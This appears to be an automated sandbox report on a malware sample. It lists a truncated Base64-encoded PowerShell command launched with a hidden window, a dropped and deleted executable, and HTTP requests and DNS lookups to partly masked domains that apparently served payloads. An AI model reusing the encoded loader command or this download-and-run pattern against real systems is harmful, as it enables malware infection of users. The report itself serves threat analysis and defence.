Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKADIAMAA3AF8AOAA5AD0AJwBLADcAMQAyADEAOQAnADsAJABPADkANQAzADgANQAgAD0AIAAnADMANwAzACcAOwAkAGYAMgA2ADYAMwBfADQAPQAnAGMANQAyADgAOAA4ADQAMQAnADsAJABGADYAMQAwAF8AXwA9ACQAZQBuAHYAOgB1AHMAZQB...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1496
Modifies file system
Creates the following files
- %TEMP%\1393198.cvr
- %HOMEPATH%\373.exe
Deletes the following files
- %HOMEPATH%\373.exe
Network activity
Connects to
- 'te###vivo.com':80
- 'sp####ystems.com':80
- 'lu######diancatering.co.uk':80
- 'pr##ma.ch':80
TCP
HTTP GET requests
- http://te###vivo.com/hq1g/vp33l1h56_o4b8mev9qw-7034/
- http://sp####ystems.com/wp-admin/eUJLagjD/
- http://lu######diancatering.co.uk/wp-includes/ukoe_7v10mk-02/
- http://pr##ma.ch/wp-content/fFVmwFqTq/
UDP
- DNS ASK po##duo.com
- DNS ASK te###vivo.com
- DNS ASK sp####ystems.com
- DNS ASK lu######diancatering.co.uk
- DNS ASK pr##ma.ch
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKADIAMAA3AF8AOAA5AD0AJwBLADcAMQAyADEAOQAnADsAJABPADkANQAzADgANQAgAD0AIAAnADMANwAzACcAOwAkAGYAMgA2ADYAMwBfADQAPQAnAGMANQAyADgAOAA4ADQAMQAnADsAJABGADYAMQAwAF8AXwA9ACQAZQBuAHYAOgB1AHMAZQB...' (with hidden window)
